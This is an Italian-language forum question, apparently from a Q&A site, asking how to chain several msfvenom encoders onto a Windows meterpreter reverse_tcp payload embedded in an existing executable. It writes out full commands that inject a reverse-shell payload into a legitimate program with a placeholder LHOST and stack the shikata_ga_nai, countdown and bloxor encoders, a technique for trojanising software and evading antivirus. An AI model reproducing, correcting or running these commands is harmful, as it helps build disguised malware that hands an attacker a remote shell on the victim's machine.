Sto provando più codifiche sullo stesso file eseguibile, ma confuso con la sintassi.
Il problema:
Per codificare qualsiasi file eseguibile possiamo usare la sintassi:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XX.X
LPORT=XXXX -x /location/of/thefile/filename.exe -k -e x86/shikata_ga_nai -i 10 -f exe > encoded.exe
Ora, voglio codificare qualche altro file eseguibile / stesso file; più volte utilizzando diversi encoder.
Sintassi che sto usando:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XX.X LPORT=XX -x /location/of/thefile/filename.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o multiencoded.exe
Ho trovato questo thread quindi implementato la sintassi precedente. Ma il file di output che sta generando non ha il file eseguibile incluso. Poiché la dimensione dell'output dalla prima sintassi è 19 MB e dalla seconda sintassi è 76kB.
Quindi, la mia domanda è come posso implementare più codifiche sullo stesso file eseguibile.